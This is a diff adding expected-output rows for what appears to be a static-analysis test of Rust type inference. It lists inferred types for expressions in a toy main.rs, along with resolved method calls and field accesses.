+| main.rs:618:26:618:27 | x4 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:618:26:618:27 | x4 | T | main.rs:601:5:602:13 | struct S |
+| main.rs:620:13:620:14 | x5 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:620:13:620:14 | x5 | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:620:13:620:14 | x5 | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:620:18:620:58 | ...::MySome(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:620:18:620:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:620:18:620:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:620:35:620:57 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:620:35:620:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:621:26:621:27 | x5 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:621:26:621:27 | x5 | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:621:26:621:27 | x5 | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:623:13:623:14 | x6 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:623:13:623:14 | x6 | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:623:13:623:14 | x6 | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:623:18:623:58 | ...::MySome(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:623:18:623:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:623:18:623:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:623:35:623:57 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:623:35:623:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:624:26:624:61 | ...::flatten(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:624:26:624:61 | ...::flatten(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:624:59:624:60 | x6 |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:624:59:624:60 | x6 | T | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:624:59:624:60 | x6 | T.T | main.rs:601:5:602:13 | struct S |
+| main.rs:626:13:626:19 | from_if |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:626:13:626:19 | from_if | T | main.rs:601:5:602:13 | struct S |
+| main.rs:626:23:630:9 | if ... {...} else {...} |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:626:23:630:9 | if ... {...} else {...} | T | main.rs:601:5:602:13 | struct S |
+| main.rs:626:36:628:9 | { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:626:36:628:9 | { ... } | T | main.rs:601:5:602:13 | struct S |
+| main.rs:627:13:627:30 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:627:13:627:30 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:628:16:630:9 | { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:628:16:630:9 | { ... } | T | main.rs:601:5:602:13 | struct S |
+| main.rs:629:13:629:31 | ...::MySome(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:629:13:629:31 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:629:30:629:30 | S |  | main.rs:601:5:602:13 | struct S |
+| main.rs:631:26:631:32 | from_if |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:631:26:631:32 | from_if | T | main.rs:601:5:602:13 | struct S |
+| main.rs:633:13:633:22 | from_match |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:633:13:633:22 | from_match | T | main.rs:601:5:602:13 | struct S |
+| main.rs:633:26:636:9 | match ... { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:633:26:636:9 | match ... { ... } | T | main.rs:601:5:602:13 | struct S |
+| main.rs:634:21:634:38 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:634:21:634:38 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:635:22:635:40 | ...::MySome(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:635:22:635:40 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:635:39:635:39 | S |  | main.rs:601:5:602:13 | struct S |
+| main.rs:637:26:637:35 | from_match |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:637:26:637:35 | from_match | T | main.rs:601:5:602:13 | struct S |
+| main.rs:639:13:639:21 | from_loop |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:639:13:639:21 | from_loop | T | main.rs:601:5:602:13 | struct S |
+| main.rs:639:25:644:9 | loop { ... } |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:639:25:644:9 | loop { ... } | T | main.rs:601:5:602:13 | struct S |
+| main.rs:641:23:641:40 | ...::MyNone(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:641:23:641:40 | ...::MyNone(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:643:19:643:37 | ...::MySome(...) |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:643:19:643:37 | ...::MySome(...) | T | main.rs:601:5:602:13 | struct S |
+| main.rs:643:36:643:36 | S |  | main.rs:601:5:602:13 | struct S |
+| main.rs:645:26:645:34 | from_loop |  | main.rs:568:5:572:5 | enum MyOption |
+| main.rs:645:26:645:34 | from_loop | T | main.rs:601:5:602:13 | struct S |
+| main.rs:658:15:658:18 | SelfParam |  | main.rs:651:5:652:19 | struct S |
+| main.rs:658:15:658:18 | SelfParam | T | main.rs:657:10:657:10 | T |
+| main.rs:658:26:660:9 | { ... } |  | main.rs:657:10:657:10 | T |
+| main.rs:659:13:659:16 | self |  | main.rs:651:5:652:19 | struct S |
+| main.rs:659:13:659:16 | self | T | main.rs:657:10:657:10 | T |
+| main.rs:659:13:659:18 | self.0 |  | main.rs:657:10:657:10 | T |
+| main.rs:662:15:662:19 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:662:15:662:19 | SelfParam | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:662:15:662:19 | SelfParam | &T.T | main.rs:657:10:657:10 | T |
+| main.rs:662:28:664:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:662:28:664:9 | { ... } | &T | main.rs:657:10:657:10 | T |
+| main.rs:663:13:663:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:663:13:663:19 | &... | &T | main.rs:657:10:657:10 | T |
+| main.rs:663:14:663:17 | self |  | file://:0:0:0:0 | & |
+| main.rs:663:14:663:17 | self | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:663:14:663:17 | self | &T.T | main.rs:657:10:657:10 | T |
+| main.rs:663:14:663:19 | self.0 |  | main.rs:657:10:657:10 | T |
+| main.rs:666:15:666:25 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:666:15:666:25 | SelfParam | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:666:15:666:25 | SelfParam | &T.T | main.rs:657:10:657:10 | T |
+| main.rs:666:34:668:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:666:34:668:9 | { ... } | &T | main.rs:657:10:657:10 | T |
+| main.rs:667:13:667:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:667:13:667:19 | &... | &T | main.rs:657:10:657:10 | T |
+| main.rs:667:14:667:17 | self |  | file://:0:0:0:0 | & |
+| main.rs:667:14:667:17 | self | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:667:14:667:17 | self | &T.T | main.rs:657:10:657:10 | T |
+| main.rs:667:14:667:19 | self.0 |  | main.rs:657:10:657:10 | T |
+| main.rs:672:13:672:14 | x1 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:672:13:672:14 | x1 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:672:18:672:22 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:672:18:672:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:672:20:672:21 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:673:26:673:27 | x1 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:673:26:673:27 | x1 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:673:26:673:32 | x1.m1(...) |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:675:13:675:14 | x2 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:675:13:675:14 | x2 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:675:18:675:22 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:675:18:675:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:675:20:675:21 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:677:26:677:27 | x2 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:677:26:677:27 | x2 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:677:26:677:32 | x2.m2(...) |  | file://:0:0:0:0 | & |
+| main.rs:677:26:677:32 | x2.m2(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:678:26:678:27 | x2 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:678:26:678:27 | x2 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:678:26:678:32 | x2.m3(...) |  | file://:0:0:0:0 | & |
+| main.rs:678:26:678:32 | x2.m3(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:680:13:680:14 | x3 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:680:13:680:14 | x3 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:680:18:680:22 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:680:18:680:22 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:680:20:680:21 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:682:26:682:41 | ...::m2(...) |  | file://:0:0:0:0 | & |
+| main.rs:682:26:682:41 | ...::m2(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:682:38:682:40 | &x3 |  | file://:0:0:0:0 | & |
+| main.rs:682:38:682:40 | &x3 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:682:38:682:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:682:39:682:40 | x3 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:682:39:682:40 | x3 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:683:26:683:41 | ...::m3(...) |  | file://:0:0:0:0 | & |
+| main.rs:683:26:683:41 | ...::m3(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:683:38:683:40 | &x3 |  | file://:0:0:0:0 | & |
+| main.rs:683:38:683:40 | &x3 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:683:38:683:40 | &x3 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:683:39:683:40 | x3 |  | main.rs:651:5:652:19 | struct S |
+| main.rs:683:39:683:40 | x3 | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:685:13:685:14 | x4 |  | file://:0:0:0:0 | & |
+| main.rs:685:13:685:14 | x4 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:685:13:685:14 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:685:18:685:23 | &... |  | file://:0:0:0:0 | & |
+| main.rs:685:18:685:23 | &... | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:685:18:685:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:685:19:685:23 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:685:19:685:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:685:21:685:22 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:687:26:687:27 | x4 |  | file://:0:0:0:0 | & |
+| main.rs:687:26:687:27 | x4 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:687:26:687:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:687:26:687:32 | x4.m2(...) |  | file://:0:0:0:0 | & |
+| main.rs:687:26:687:32 | x4.m2(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:688:26:688:27 | x4 |  | file://:0:0:0:0 | & |
+| main.rs:688:26:688:27 | x4 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:688:26:688:27 | x4 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:688:26:688:32 | x4.m3(...) |  | file://:0:0:0:0 | & |
+| main.rs:688:26:688:32 | x4.m3(...) | &T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:690:13:690:14 | x5 |  | file://:0:0:0:0 | & |
+| main.rs:690:13:690:14 | x5 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:690:13:690:14 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:690:18:690:23 | &... |  | file://:0:0:0:0 | & |
+| main.rs:690:18:690:23 | &... | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:690:18:690:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:690:19:690:23 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:690:19:690:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:690:21:690:22 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:692:26:692:27 | x5 |  | file://:0:0:0:0 | & |
+| main.rs:692:26:692:27 | x5 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:692:26:692:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:692:26:692:32 | x5.m1(...) |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:693:26:693:27 | x5 |  | file://:0:0:0:0 | & |
+| main.rs:693:26:693:27 | x5 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:693:26:693:27 | x5 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:693:26:693:29 | x5.0 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:695:13:695:14 | x6 |  | file://:0:0:0:0 | & |
+| main.rs:695:13:695:14 | x6 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:695:13:695:14 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:695:18:695:23 | &... |  | file://:0:0:0:0 | & |
+| main.rs:695:18:695:23 | &... | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:695:18:695:23 | &... | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:695:19:695:23 | S(...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:695:19:695:23 | S(...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:695:21:695:22 | S2 |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:697:26:697:30 | (...) |  | main.rs:651:5:652:19 | struct S |
+| main.rs:697:26:697:30 | (...) | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:697:26:697:35 | ... .m1(...) |  | main.rs:654:5:655:14 | struct S2 |
+| main.rs:697:27:697:29 | * ... |  | main.rs:651:5:652:19 | struct S |
+| main.rs:697:27:697:29 | * ... | T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:697:28:697:29 | x6 |  | file://:0:0:0:0 | & |
+| main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | struct S |
+| main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 |
+| main.rs:703:16:703:20 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:705:16:705:20 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:705:16:705:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:705:32:707:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:706:13:706:16 | self |  | file://:0:0:0:0 | & |
+| main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:706:13:706:22 | self.foo(...) |  | file://:0:0:0:0 | & |
+| main.rs:706:13:706:22 | self.foo(...) | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:713:16:713:20 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:713:36:715:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:714:13:714:16 | self |  | file://:0:0:0:0 | & |
+| main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:719:13:719:13 | x |  | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:719:13:719:13 | x |  | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:719:17:719:24 | MyStruct |  | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:719:17:719:24 | MyStruct |  | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:720:9:720:9 | x |  | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:720:9:720:9 | x |  | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:720:9:720:15 | x.bar(...) |  | file://:0:0:0:0 | & |
+| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:702:5:708:5 | trait MyTrait |
+| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:710:5:710:20 | struct MyStruct |
+| main.rs:730:16:730:20 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:730:16:730:20 | SelfParam | &T.T | main.rs:729:10:729:10 | T |
+| main.rs:730:32:732:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:730:32:732:9 | { ... } | &T | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:730:32:732:9 | { ... } | &T.T | main.rs:729:10:729:10 | T |
+| main.rs:731:13:731:16 | self |  | file://:0:0:0:0 | & |
+| main.rs:731:13:731:16 | self | &T | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:731:13:731:16 | self | &T.T | main.rs:729:10:729:10 | T |
+| main.rs:736:13:736:13 | x |  | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:736:13:736:13 | x | T | main.rs:725:5:725:13 | struct S |
+| main.rs:736:17:736:27 | MyStruct(...) |  | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:736:17:736:27 | MyStruct(...) | T | main.rs:725:5:725:13 | struct S |
+| main.rs:736:26:736:26 | S |  | main.rs:725:5:725:13 | struct S |
+| main.rs:737:9:737:9 | x |  | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:737:9:737:9 | x | T | main.rs:725:5:725:13 | struct S |
+| main.rs:737:9:737:15 | x.foo(...) |  | file://:0:0:0:0 | & |
+| main.rs:737:9:737:15 | x.foo(...) | &T | main.rs:727:5:727:26 | struct MyStruct |
+| main.rs:737:9:737:15 | x.foo(...) | &T.T | main.rs:725:5:725:13 | struct S |
+| main.rs:745:15:745:19 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:745:15:745:19 | SelfParam | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:745:31:747:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:745:31:747:9 | { ... } | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:746:13:746:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:746:13:746:19 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:746:14:746:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:746:14:746:19 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:746:15:746:19 | &self |  | file://:0:0:0:0 | & |
+| main.rs:746:15:746:19 | &self | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:746:16:746:19 | self |  | file://:0:0:0:0 | & |
+| main.rs:746:16:746:19 | self | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:749:15:749:25 | SelfParam |  | file://:0:0:0:0 | & |
+| main.rs:749:15:749:25 | SelfParam | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:749:37:751:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:749:37:751:9 | { ... } | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:750:13:750:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:750:13:750:19 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:750:14:750:19 | &... |  | file://:0:0:0:0 | & |
+| main.rs:750:14:750:19 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:750:15:750:19 | &self |  | file://:0:0:0:0 | & |
+| main.rs:750:15:750:19 | &self | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:750:16:750:19 | self |  | file://:0:0:0:0 | & |
+| main.rs:750:16:750:19 | self | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:753:15:753:15 | x |  | file://:0:0:0:0 | & |
+| main.rs:753:15:753:15 | x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:753:34:755:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:753:34:755:9 | { ... } | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:754:13:754:13 | x |  | file://:0:0:0:0 | & |
+| main.rs:754:13:754:13 | x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:757:15:757:15 | x |  | file://:0:0:0:0 | & |
+| main.rs:757:15:757:15 | x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:757:34:759:9 | { ... } |  | file://:0:0:0:0 | & |
+| main.rs:757:34:759:9 | { ... } | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:758:13:758:16 | &... |  | file://:0:0:0:0 | & |
+| main.rs:758:13:758:16 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:758:14:758:16 | &... |  | file://:0:0:0:0 | & |
+| main.rs:758:14:758:16 | &... | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:758:15:758:16 | &x |  | file://:0:0:0:0 | & |
+| main.rs:758:15:758:16 | &x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:758:16:758:16 | x |  | file://:0:0:0:0 | & |
+| main.rs:758:16:758:16 | x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:763:13:763:13 | x |  | main.rs:742:5:742:13 | struct S |
+| main.rs:763:17:763:20 | S {...} |  | main.rs:742:5:742:13 | struct S |
+| main.rs:764:9:764:9 | x |  | main.rs:742:5:742:13 | struct S |
+| main.rs:764:9:764:14 | x.f1(...) |  | file://:0:0:0:0 | & |
+| main.rs:764:9:764:14 | x.f1(...) | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:765:9:765:9 | x |  | main.rs:742:5:742:13 | struct S |
+| main.rs:765:9:765:14 | x.f2(...) |  | file://:0:0:0:0 | & |
+| main.rs:765:9:765:14 | x.f2(...) | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:766:9:766:17 | ...::f3(...) |  | file://:0:0:0:0 | & |
+| main.rs:766:9:766:17 | ...::f3(...) | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:766:15:766:16 | &x |  | file://:0:0:0:0 | & |
+| main.rs:766:15:766:16 | &x | &T | main.rs:742:5:742:13 | struct S |
+| main.rs:766:16:766:16 | x |  | main.rs:742:5:742:13 | struct S |
+| main.rs:772:5:772:20 | ...::f(...) |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:773:5:773:60 | ...::g(...) |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:773:20:773:38 | ...::Foo {...} |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:773:41:773:59 | ...::Foo {...} |  | main.rs:67:5:67:21 | struct Foo |
+resolveMethodCallExpr
+| loop/main.rs:12:9:12:18 | self.foo(...) | loop/main.rs:7:5:7:19 | fn foo |
+| main.rs:88:9:88:14 | x.m1(...) | main.rs:70:9:72:9 | fn m1 |
+| main.rs:89:9:89:14 | y.m2(...) | main.rs:74:9:76:9 | fn m2 |
+| main.rs:136:26:136:31 | x.m2(...) | main.rs:117:9:119:9 | fn m2 |
+| main.rs:137:26:137:31 | y.m2(...) | main.rs:117:9:119:9 | fn m2 |
+| main.rs:164:9:164:14 | x.m1(...) | main.rs:153:9:153:25 | fn m1 |
+| main.rs:215:18:215:27 | x.method(...) | main.rs:210:9:210:30 | fn method |
+| main.rs:221:18:221:27 | x.method(...) | main.rs:210:9:210:30 | fn method |
+| main.rs:226:17:226:26 | x.method(...) | main.rs:206:9:206:30 | fn method |
+| main.rs:231:17:231:26 | x.method(...) | main.rs:206:9:206:30 | fn method |
+| main.rs:243:18:243:24 | x.fst(...) | main.rs:236:9:236:27 | fn fst |
+| main.rs:244:18:244:24 | y.snd(...) | main.rs:238:9:238:27 | fn snd |
+| main.rs:250:18:250:24 | x.fst(...) | main.rs:236:9:236:27 | fn fst |
+| main.rs:251:18:251:24 | y.snd(...) | main.rs:238:9:238:27 | fn snd |
+| main.rs:274:13:274:21 | self.m1(...) | main.rs:268:9:268:25 | fn m1 |
+| main.rs:280:9:280:14 | x.m1(...) | main.rs:268:9:268:25 | fn m1 |
+| main.rs:285:9:285:16 | ... .m1(...) | main.rs:268:9:268:25 | fn m1 |
+| main.rs:298:26:298:31 | x.m1(...) | main.rs:289:9:291:9 | fn m1 |
+| main.rs:299:26:299:31 | y.m1(...) | main.rs:289:9:291:9 | fn m1 |
+| main.rs:304:26:304:31 | x.m2(...) | main.rs:270:9:275:9 | fn m2 |
+| main.rs:305:26:305:31 | y.m2(...) | main.rs:270:9:275:9 | fn m2 |
+| main.rs:353:26:353:31 | x.m1(...) | main.rs:346:9:348:9 | fn m1 |
+| main.rs:356:26:356:31 | x.m2(...) | main.rs:331:9:337:9 | fn m2 |
+| main.rs:385:26:385:31 | x.m1(...) | main.rs:373:9:378:9 | fn m1 |
+| main.rs:386:26:386:31 | y.m1(...) | main.rs:373:9:378:9 | fn m1 |
+| main.rs:416:17:416:25 | self.m1(...) | main.rs:407:9:407:27 | fn m1 |
+| main.rs:429:17:429:25 | self.m2(...) | main.rs:411:9:420:9 | fn m2 |
+| main.rs:458:26:458:31 | x.m1(...) | main.rs:437:9:439:9 | fn m1 |
+| main.rs:459:26:459:31 | y.m1(...) | main.rs:437:9:439:9 | fn m1 |
+| main.rs:464:26:464:31 | x.m2(...) | main.rs:411:9:420:9 | fn m2 |
+| main.rs:465:26:465:31 | y.m2(...) | main.rs:411:9:420:9 | fn m2 |
+| main.rs:470:26:470:31 | x.m3(...) | main.rs:424:9:433:9 | fn m3 |
+| main.rs:471:26:471:31 | y.m3(...) | main.rs:424:9:433:9 | fn m3 |
+| main.rs:578:13:578:27 | self.set(...) | main.rs:575:9:575:36 | fn set |
+| main.rs:609:9:609:17 | x2.set(...) | main.rs:583:9:583:38 | fn set |
+| main.rs:613:9:613:22 | x3.call_set(...) | main.rs:577:9:579:9 | fn call_set |
+| main.rs:673:26:673:32 | x1.m1(...) | main.rs:658:9:660:9 | fn m1 |
+| main.rs:677:26:677:32 | x2.m2(...) | main.rs:662:9:664:9 | fn m2 |
+| main.rs:678:26:678:32 | x2.m3(...) | main.rs:666:9:668:9 | fn m3 |
+| main.rs:687:26:687:32 | x4.m2(...) | main.rs:662:9:664:9 | fn m2 |
+| main.rs:688:26:688:32 | x4.m3(...) | main.rs:666:9:668:9 | fn m3 |
+| main.rs:692:26:692:32 | x5.m1(...) | main.rs:658:9:660:9 | fn m1 |
+| main.rs:697:26:697:35 | ... .m1(...) | main.rs:658:9:660:9 | fn m1 |
+| main.rs:706:13:706:22 | self.foo(...) | main.rs:703:9:703:31 | fn foo |
+| main.rs:720:9:720:15 | x.bar(...) | main.rs:705:9:707:9 | fn bar |
+| main.rs:737:9:737:15 | x.foo(...) | main.rs:730:9:732:9 | fn foo |
+| main.rs:764:9:764:14 | x.f1(...) | main.rs:745:9:747:9 | fn f1 |
+| main.rs:765:9:765:14 | x.f2(...) | main.rs:749:9:751:9 | fn f2 |
+resolveFieldExpr
+| main.rs:27:26:27:28 | x.a | main.rs:7:9:7:12 | StructField |
+| main.rs:33:26:33:28 | x.a | main.rs:18:9:18:12 | StructField |
+| main.rs:37:26:37:28 | x.a | main.rs:18:9:18:12 | StructField |
+| main.rs:44:26:44:28 | x.a | main.rs:22:9:22:22 | StructField |
+| main.rs:50:26:50:28 | x.a | main.rs:18:9:18:12 | StructField |
+| main.rs:56:30:56:32 | x.a | main.rs:18:9:18:12 | StructField |
+| main.rs:106:13:106:18 | self.a | main.rs:96:9:96:12 | StructField |
+| main.rs:112:23:112:28 | self.a | main.rs:96:9:96:12 | StructField |
+| main.rs:118:13:118:18 | self.a | main.rs:96:9:96:12 | StructField |
+| main.rs:127:26:127:28 | x.a | main.rs:96:9:96:12 | StructField |
+| main.rs:128:26:128:28 | y.a | main.rs:96:9:96:12 | StructField |
+| main.rs:169:13:169:18 | self.a | main.rs:144:9:144:12 | StructField |
+| main.rs:175:23:175:28 | self.a | main.rs:144:9:144:12 | StructField |
+| main.rs:285:9:285:11 | x.a | main.rs:259:9:259:12 | StructField |
+| main.rs:290:13:290:18 | self.a | main.rs:259:9:259:12 | StructField |
